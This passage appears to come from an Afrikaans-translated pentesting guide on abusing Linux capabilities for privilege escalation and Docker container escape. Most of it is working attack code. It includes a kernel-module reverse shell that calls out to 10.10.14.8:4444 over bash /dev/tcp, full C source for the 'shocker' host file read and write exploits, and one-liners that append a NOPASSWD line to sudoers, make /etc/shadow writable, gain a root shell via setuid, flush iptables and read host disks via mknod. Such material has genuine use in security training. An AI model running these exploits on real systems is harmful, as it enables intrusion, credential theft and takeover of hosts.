MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
obj-m +=reverse-shell.o

all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Warning

Die leĂ« karakter voor elke make woord in die Makefile moet ’n tab wees, nie spaties nie!

Voer make uit om dit te kompileer.

Make[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory.  Stop.

sudo apt update
sudo apt full-upgrade

Laastens, begin nc binne ’n skulp en laai die module van ’n ander een en jy sal die skulp in die nc proses vang:

#Shell 1
nc -lvnp 4444

#Shell 2
insmod reverse-shell.ko #Launch the reverse shell

Die kode van hierdie tegniek is gekopieer van die laboratorium van “Abusing SYS_MODULE Capability” van https://www.pentesteracademy.com/

’n Ander voorbeeld van hierdie tegniek kan gevind word in https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host

CAP_DAC_READ_SEARCH stel ’n proses in staat om toestemmings vir die lees van lĂȘers en vir die lees en uitvoer van gidse te omseil. Die primĂȘre gebruik daarvan is vir lĂȘer soek of lees doeleindes. Dit stel egter ook ’n proses in staat om die open_by_handle_at(2) funksie te gebruik, wat toegang kan verkry tot enige lĂȘer, insluitend diĂ© buite die proses se monteer naamruimte. Die handvatsel wat in open_by_handle_at(2) gebruik word, behoort ’n nie-deursigtige identifiseerder te wees wat verkry is deur name_to_handle_at(2), maar dit kan sensitiewe inligting insluit soos inode nommers wat kwesbaar is vir manipulasie. Die potensiaal vir die uitbuiting van hierdie vermoĂ«, veral in die konteks van Docker houers, is deur Sebastian Krahmer met die shocker exploit gedemonstreer, soos geanaliseer hier. Dit beteken dat jy kan toestemmings vir lĂȘer lees en gidse lees/uitvoer kan omseil.

Voorbeeld met binĂȘre

Die binĂȘre sal in staat wees om enige lĂȘer te lees. So, as ’n lĂȘer soos tar hierdie vermoĂ« het, sal dit in staat wees om die skadu lĂȘer te lees:

cd /etc
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
cd /tmp
tar -cxf shadow.tar.gz

Voorbeeld met binary2

In hierdie geval kom ons veronderstel dat die python binĂȘre hierdie vermoĂ« het. Om wortel lĂȘers te lys, kan jy doen:

import os
for r, d, f in os.walk('/root'):
for filename in f:
print(filename)

En om ’n lĂȘer te lees, kan jy doen:

print(open("/etc/shadow", "r").read())

Voorbeeld in Omgewing (Docker ontsnapping)

Jy kan die geaktiveerde vermoëns binne die docker houer nagaan met:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Binne die vorige uitset kan jy sien dat die DAC_READ_SEARCH vermoë geaktiveer is. As gevolg hiervan kan die houer prosesse debugeer.

Jy kan leer hoe die volgende uitbuiting werk in https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3, maar in samevatting CAP_DAC_READ_SEARCH laat ons nie net toe om die lĂȘerstelsel te traverseer sonder toestemmingstoetsing nie, maar verwyder ook eksplisiet enige kontrole op open_by_handle_at(2) en kan ons proses toelaat om sensitiewe lĂȘers wat deur ander prosesse geopen is, te benader.

Die oorspronklike uitbuiting wat hierdie toestemmings misbruik om lĂȘers van die gasheer te lees, kan hier gevind word: http://stealth.openwall.net/xSports/shocker.c, die volgende is ’n gewysigde weergawe wat jou toelaat om die lĂȘer wat jy wil lees as eerste argument aan te dui en dit in ’n lĂȘer te dump.

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir

struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};

void die(const char *msg)
{
perror(msg);
exit(errno);
}

void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"\n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};\n");
}

int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
*oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}

++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}

fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}


int main(int argc,char* argv[] )
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};

fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");

read(0, buf, 1);

// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");

if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");

fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);

if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");

memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");

printf("Success!!\n");

FILE *fptr;
fptr = fopen(argv[2], "w");
fprintf(fptr,"%s", buf);
fclose(fptr);

close(fd2); close(fd1);

return 0;
}

Warning

Die exploit moet ’n pointer vind na iets wat op die gasheer gemonteer is. Die oorspronklike exploit het die lĂȘer /.dockerinit gebruik en hierdie gemodifiseerde weergawe gebruik /etc/hostname. As die exploit nie werk nie, moet jy dalk ’n ander lĂȘer stel. Om ’n lĂȘer te vind wat op die gasheer gemonteer is, voer net die mount-opdrag uit:

Die kode van hierdie tegniek is gekopieer uit die laboratorium van “Abusing DAC_READ_SEARCH Capability” van https://www.pentesteracademy.com/

CAP_DAC_OVERRIDE

Dit beteken dat jy skrywe-toestemmingskontroles op enige lĂȘer kan omseil, sodat jy enige lĂȘer kan skryf.

Daar is baie lĂȘers wat jy kan oorskryf om voorregte te verhoog, jy kan idees hier kry.

Voorbeeld met binĂȘre

In hierdie voorbeeld het vim hierdie vermoĂ«, so jy kan enige lĂȘer soos passwd, sudoers of shadow wysig:

getcap -r / 2>/dev/null
/usr/bin/vim = cap_dac_override+ep

vim /etc/sudoers #To overwrite it

Voorbeeld met binĂȘre 2

In hierdie voorbeeld sal die python binĂȘre hierdie vermoĂ« hĂȘ. Jy kan python gebruik om enige lĂȘer te oorskry:

file=open("/etc/sudoers","a")
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
file.close()

Voorbeeld met omgewing + CAP_DAC_READ_SEARCH (Docker ontsnapping)

Jy kan die geaktiveerde vermoëns binne die docker-container nagaan met:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Eerstens, lees die vorige afdeling wat misbruik maak van die DAC_READ_SEARCH vermoĂ« om arbitrĂȘre lĂȘers te lees van die gasheer en kompileer die ontploffing.
Dan, kompileer die volgende weergawe van die shocker ontploffing wat jou sal toelaat om arbitrĂȘre lĂȘers binne die gasheer se lĂȘerstelsel te skryf:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd

struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char * msg) {
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
h -> handle_type);
for (int i = 0; i < h -> handle_bytes; ++i) {
fprintf(stderr, "0x%02x", h -> f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr, "\n");
if (i < h -> handle_bytes - 1)
fprintf(stderr, ", ");
}
fprintf(stderr, "};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR * dir = NULL;
struct dirent * de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
oh -> handle_type = 1;
oh -> handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de -> d_name);
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
ino = de -> d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, & ino, sizeof(ino));
memcpy(outh.f_handle + 4, & i, sizeof(i));
if ((i % (1 << 20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle( & outh);
return find_handle(bfd, path, & outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc, char * argv[]) {
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {
0x02,
0,
0,
0,
0,
0,
0,
0
}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle( & h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
die("[-] open_by_handle");
char * line = NULL;
size_t len = 0;
FILE * fptr;
ssize_t read;
fptr = fopen(argv[2], "r");
while ((read = getline( & line, & len, fptr)) != -1) {
write(fd2, line, read);
}
printf("Success!!\n");
close(fd2);
close(fd1);
return 0;
}

Om die docker-container te ontsnap, kan jy die lĂȘers /etc/shadow en /etc/passwd van die gasheer aflaai, aan hulle ’n nuwe gebruiker byvoeg, en shocker_write gebruik om hulle te oorskryf. Dan, toegang via ssh.

Die kode van hierdie tegniek is gekopieer van die laboratorium van “Abusing DAC_OVERRIDE Capability” van https://www.pentesteracademy.com

CAP_CHOWN

Dit beteken dat dit moontlik is om die eienaarskap van enige lĂȘer te verander.

Voorbeeld met binĂȘre

Kom ons neem aan die python binĂȘre het hierdie vermoĂ«, jy kan die eienaar van die shadow lĂȘer verander, die root wagwoord verander, en voorregte verhoog:

python -c 'import os;os.chown("/etc/shadow",1000,1000)'

Of met die ruby binĂȘre wat hierdie vermoĂ« het:

ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'

CAP_FOWNER

Dit beteken dat dit moontlik is om die toestemmings van enige lĂȘer te verander.

Voorbeeld met binĂȘre

As python hierdie vermoĂ« het, kan jy die toestemmings van die skadu-lĂȘer verander, verander die wortel wagwoord, en bevoegdhede verhoog:

python -c 'import os;os.chmod("/etc/shadow",0666)

CAP_SETUID

Dit beteken dat dit moontlik is om die effektiewe gebruikers-id van die geskepte proses in te stel.

Voorbeeld met binĂȘre

As python hierdie capability het, kan jy dit baie maklik misbruik om voorregte na root te verhoog:

import os
os.setuid(0)
os.system("/bin/bash")

Nog ’n manier:

import os
import prctl
#add the capability to the effective set
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")

CAP_SETGID

Dit beteken dat dit moontlik is om die effektiewe groep id van die geskepte proses in te stel.

Daar is baie lĂȘers wat jy kan oorwrite om voorregte te verhoog, jy kan idees hier kry.

Voorbeeld met binĂȘre

In hierdie geval moet jy soek na interessante lĂȘers wat ’n groep kan lees omdat jy enige groep kan naboots:

#Find every file writable by a group
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file writable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null

Sodra jy ’n lĂȘer gevind het wat jy kan misbruik (deur te lees of te skryf) om voorregte te verhoog, kan jy ’n shell kry wat die interessante groep naboots met:

import os
os.setgid(42)
os.system("/bin/bash")

In hierdie geval is die groep shadow geĂŻmpliseer sodat jy die lĂȘer /etc/shadow kan lees:

cat /etc/shadow

As docker geĂŻnstalleer is, kan jy die docker groep naboots en dit misbruik om te kommunikeer met die docker socket en voorregte te verhoog.

CAP_SETFCAP

Dit beteken dat dit moontlik is om vermoĂ«ns op lĂȘers en prosesse in te stel

Voorbeeld met binĂȘre

As python hierdie vermoë het, kan jy dit baie maklik misbruik om voorregte na root te verhoog:

import ctypes, sys

#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")

libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]

#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)

if(status == 0):
print (cap + " was successfully added to " + path)
python setcapability.py /usr/bin/python2.7

Warning

Let daarop dat as jy ’n nuwe vermoĂ« aan die binĂȘre met CAP_SETFCAP toeken, jy hierdie vermoĂ« sal verloor.

Sodra jy SETUID vermoë het, kan jy na sy afdeling gaan om te sien hoe om voorregte te verhoog.

Voorbeeld met omgewing (Docker breek uit)

Standaard word die vermoë CAP_SETFCAP aan die proses binne die houer in Docker gegee. Jy kan dit nagaan deur iets soos:

cat /proc/`pidof bash`/status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000

capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap

Hierdie vermoë laat toe om enige ander vermoë aan binaries te gee, so ons kan dink aan ontsnapping uit die houer deur enige van die ander vermoë breekpunte wat op hierdie bladsy genoem word, te misbruik.
As jy egter probeer om byvoorbeeld die vermoë CAP_SYS_ADMIN en CAP_SYS_PTRACE aan die gdb binary te gee, sal jy vind dat jy dit kan gee, maar die binary sal nie na dit kan uitvoer nie:

getcap /usr/bin/gdb
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip

setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb

/usr/bin/gdb
bash: /usr/bin/gdb: Operation not permitted

From the docs: Toegelaat: Dit is ’n beperkende superset vir die effektiewe vermoĂ«ns wat die draad kan aanneem. Dit is ook ’n beperkende superset vir die vermoĂ«ns wat aan die erfbare stel deur ’n draad wat nie die CAP_SETPCAP vermoĂ« in sy effektiewe stel het, kan bygevoeg word.
Dit lyk of die Toegelate vermoëns diegene beperk wat gebruik kan word.
Egter, Docker verleen ook die CAP_SETPCAP standaard, so jy mag dalk in staat wees om nuwe vermoëns binne die erfbare te stel.
Egter, in die dokumentasie van hierdie cap: CAP_SETPCAP : [
] voeg enige vermoë van die aanroepende draad se begrensde stel by sy erfbare stel.
Dit lyk of ons slegs vermoëns van die begrensde stel aan die erfbare stel kan byvoeg. Dit beteken dat ons nie nuwe vermoëns soos CAP_SYS_ADMIN of CAP_SYS_PTRACE in die erfstel kan plaas om voorregte te verhoog nie.

CAP_SYS_RAWIO

CAP_SYS_RAWIO bied ’n aantal sensitiewe operasies insluitend toegang tot /dev/mem, /dev/kmem of /proc/kcore, wysiging van mmap_min_addr, toegang tot ioperm(2) en iopl(2) stelselskakels, en verskeie skyfopdragte. Die FIBMAP ioctl(2) is ook via hierdie vermoĂ« geaktiveer, wat in die verlede probleme veroorsaak het. Volgens die manblad, laat dit ook die houer toe om beskrywend n reeks toestel-spesifieke operasies op ander toestelle uit te voer.

Dit kan nuttig wees vir voorregte verhoging en Docker ontsnapping.

CAP_KILL

Dit beteken dat dit moontlik is om enige proses te beëindig.

Voorbeeld met binĂȘre

Kom ons neem aan die python binĂȘre het hierdie vermoĂ«. As jy ook ’n diens of sokketkonfigurasie (of enige konfigurasie lĂȘer wat met ’n diens verband hou) lĂȘer kon wysig, kan jy dit agterdeur, en dan die proses wat met daardie diens verband hou beĂ«indig en wag vir die nuwe konfigurasie lĂȘer om met jou agterdeur uitgevoer te word.

#Use this python code to kill arbitrary processes
import os
import signal
pgid = os.getpgid(341)
os.killpg(pgid, signal.SIGKILL)

Privesc met kill

As jy kill vermoĂ«ns het en daar is ’n node program wat as root (of as ’n ander gebruiker) loop, kan jy waarskynlik dit die sein SIGUSR1 stuur en dit die node debugger laat oopmaak waar jy kan aansluit.

kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d

Node inspector/CEF debug abuse

CAP_NET_BIND_SERVICE

Dit beteken dat dit moontlik is om op enige poort te luister (selfs op bevoorregte poorte). Jy kan nie regstreekse voorregte-eskalasie met hierdie vermoë bereik nie.

Voorbeeld met binĂȘre

As python hierdie vermoë het, sal dit in staat wees om op enige poort te luister en selfs van daar af met enige ander poort te verbind (sommige dienste vereis verbindings vanaf spesifieke bevoorregte poorte)

import socket
s=socket.socket()
s.bind(('0.0.0.0', 80))
s.listen(1)
conn, addr = s.accept()
while True:
output = connection.recv(1024).strip();
print(output)

CAP_NET_RAW

CAP_NET_RAW vermoĂ« laat prosesse toe om RAW en PACKET sokke te skep, wat hulle in staat stel om arbitrĂȘre netwerkpakkette te genereer en te stuur. Dit kan lei tot sekuriteitsrisiko’s in gecontaineriseerde omgewings, soos pakkie spoofing, verkeer inspuiting, en om netwerktoegangbeheer te omseil. Kwaadwillige akteurs kan dit benut om met containerroutering te meng of gasheer netwerksekuriteit te kompromitteer, veral sonder voldoende firewall beskerming. Boonop is CAP_NET_RAW van kardinale belang vir bevoorregte houers om operasies soos ping via RAW ICMP versoeke te ondersteun.

Dit beteken dat dit moontlik is om verkeer te snuffel. Jy kan nie regstreeks met hierdie vermoë bevoorregtinge opgradeer nie.

Voorbeeld met binĂȘre

As die binĂȘre tcpdump hierdie vermoĂ« het, sal jy dit kan gebruik om netwerk-inligting te vang.

getcap -r / 2>/dev/null
/usr/sbin/tcpdump = cap_net_raw+ep

Let wel dat as die omgewing hierdie vermoë bied, jy ook tcpdump kan gebruik om verkeer te snuffel.

Voorbeeld met binĂȘre 2

Die volgende voorbeeld is python2 kode wat nuttig kan wees om verkeer van die “lo” (localhost) koppelvlak te onderskep. Die kode is van die laboratorium “Die Basiese Beginsels: CAP-NET_BIND + NET_RAW” van https://attackdefense.pentesteracademy.com/

import socket
import struct

flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"]

def getFlag(flag_value):
flag=""
for i in xrange(8,-1,-1):
if( flag_value & 1 <<i ):
flag= flag + flags[8-i] + ","
return flag[:-1]

s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
s.bind(("lo",0x0003))

flag=""
count=0
while True:
frame=s.recv(4096)
ip_header=struct.unpack("!BBHHHBBH4s4s",frame[14:34])
proto=ip_header[6]
ip_header_size = (ip_header[0] & 0b1111) * 4
if(proto==6):
protocol="TCP"
tcp_header_packed = frame[ 14 + ip_header_size : 34 + ip_header_size]
tcp_header = struct.unpack("!HHLLHHHH", tcp_header_packed)
dst_port=tcp_header[0]
src_port=tcp_header[1]
flag=" FLAGS: "+getFlag(tcp_header[4])

elif(proto==17):
protocol="UDP"
udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size]
udp_header_ports=struct.unpack("!HH",udp_header_packed_ports)
dst_port=udp_header[0]
src_port=udp_header[1]

if (proto == 17 or proto == 6):
print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + " Source Port: " + str(src_port) + flag)
count=count+1

CAP_NET_ADMIN + CAP_NET_RAW

CAP_NET_ADMIN vermoë gee die houer die mag om netwerk konfigurasies te verander, insluitend firewall instellings, routeringstabelle, sokkettoestemmings, en netwerkinterfaaninstellings binne die blootgestelde netwerkname ruimtes. Dit stel ook in staat om promiscuous mode op netwerkinterfakke in te skakel, wat pakket snuffeling oor name ruimtes moontlik maak.

Voorbeeld met binĂȘre

Kom ons veronderstel dat die python binĂȘre hierdie vermoĂ«ns het.

#Dump iptables filter table rules
import iptc
import pprint
json=iptc.easy.dump_table('filter',ipv6=False)
pprint.pprint(json)

#Flush iptables filter table
import iptc
iptc.easy.flush_table('filter')

CAP_LINUX_IMMUTABLE

Dit beteken dat dit moontlik is om inode-attribuut te wysig. Jy kan nie regstreeks met hierdie vermoë voorregte opgradeer nie.

Voorbeeld met binĂȘre

As jy vind dat ’n lĂȘer onwankelbaar is en python hierdie vermoĂ« het, kan jy die onwankelbare attribuut verwyder en die lĂȘer wysig:

#Check that the file is imutable
lsattr file.sh
----i---------e--- backup.sh
#Pyhton code to allow modifications to the file
import fcntl
import os
import struct

FS_APPEND_FL = 0x00000020
FS_IOC_SETFLAGS = 0x40086602

fd = os.open('/path/to/file.sh', os.O_RDONLY)
f = struct.pack('i', FS_APPEND_FL)
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)

f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')

Tip

Let daarop dat hierdie onveranderlike attribuut gewoonlik gestel en verwyder word met:

sudo chattr +i file.txt
sudo chattr -i file.txt

CAP_SYS_CHROOT

CAP_SYS_CHROOT stel die uitvoering van die chroot(2) stelselskakel in staat, wat potensieel kan toelaat dat daar ontsnap word uit chroot(2) omgewings deur bekende kwesbaarhede:

CAP_SYS_BOOT

CAP_SYS_BOOT stel nie net die uitvoering van die reboot(2) stelselskakel vir stelsels herlaai in staat nie, insluitend spesifieke opdragte soos LINUX_REBOOT_CMD_RESTART2 wat vir sekere hardeware platforms aangepas is, maar dit stel ook die gebruik van kexec_load(2) en, vanaf Linux 3.17, kexec_file_load(2) in staat om nuwe of geskrewe crash-kernels te laai.

CAP_SYSLOG

CAP_SYSLOG is in Linux 2.6.37 van die breër CAP_SYS_ADMIN geskei, wat spesifiek die vermoë verleen om die syslog(2) oproep te gebruik. Hierdie vermoë stel die sien van kernadresse via /proc en soortgelyke interfaces in staat wanneer die kptr_restrict instelling op 1 is, wat die blootstelling van kernadresse beheer. Sedert Linux 2.6.39 is die standaard vir kptr_restrict 0, wat beteken dat kernadresse blootgestel word, hoewel baie verspreidings dit op 1 (versteek adresse behalwe van uid 0) of 2 (altyd adresse versteek) vir sekuriteitsredes stel.

Boonop stel CAP_SYSLOG toegang tot dmesg uitvoer toe wanneer dmesg_restrict op 1 gestel is. Ten spyte van hierdie veranderinge, behou CAP_SYS_ADMIN die vermoë om syslog operasies uit te voer weens historiese precedente.

CAP_MKNOD

CAP_MKNOD brei die funksionaliteit van die mknod stelselskakel uit, wat verder gaan as die skep van gewone lĂȘers, FIFOs (genaamde pype), of UNIX-domein sokke. Dit stel spesifiek die skepping van spesiale lĂȘers in staat, wat insluit:

  • S_IFCHR: Karakter spesiale lĂȘers, wat toestelle soos terminaal is.
  • S_IFBLK: Blok spesiale lĂȘers, wat toestelle soos skywe is.

Hierdie vermoĂ« is noodsaaklik vir prosesse wat die vermoĂ« benodig om toestel lĂȘers te skep, wat direkte hardeware-interaksie deur karakter of blok toestelle fasiliteer.

Dit is ’n standaard docker vermoĂ« (https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19).

Hierdie vermoë maak dit moontlik om privilige-escalasies (deur volle skyflesing) op die gasheer te doen, onder hierdie toestande:

  1. Begin toegang tot die gasheer hĂȘ (Onbevoegd).
  2. Begin toegang tot die houer hĂȘ (Bevoegd (EUID 0), en effektiewe CAP_MKNOD).
  3. Gasheer en houer moet dieselfde gebruikersnaamruimte deel.

Stappe om ’n Bloktoestel in ’n Houer te Skep en Toegang te Kry:

  1. Op die Gasheer as ’n Standaard Gebruiker:
  • Bepaal jou huidige gebruikers-ID met id, byvoorbeeld, uid=1000(standaardgebruiker).
  • Identifiseer die teiken toestel, byvoorbeeld, /dev/sdb.
  1. Binne die Houer as root:
# Create a block special file for the host device
mknod /dev/sdb b 8 16
# Set read and write permissions for the user and group
chmod 660 /dev/sdb
# Add the corresponding standard user present on the host
useradd -u 1000 standarduser
# Switch to the newly created user
su standarduser
  1. Terug op die Gasheer:
# Locate the PID of the container process owned by "standarduser"
# This is an illustrative example; actual command might vary
ps aux | grep -i container_name | grep -i standarduser
# Assuming the found PID is 12345
# Access the container's filesystem and the special block device
head /proc/12345/root/dev/sdb

Hierdie benadering stel die standaard gebruiker in staat om toegang te verkry en moontlik data van /dev/sdb deur die houer te lees, deur gebruik te maak van gedeelde gebruikersnaamruimtes en toestemmings wat op die toestel gestel is.

CAP_SETPCAP

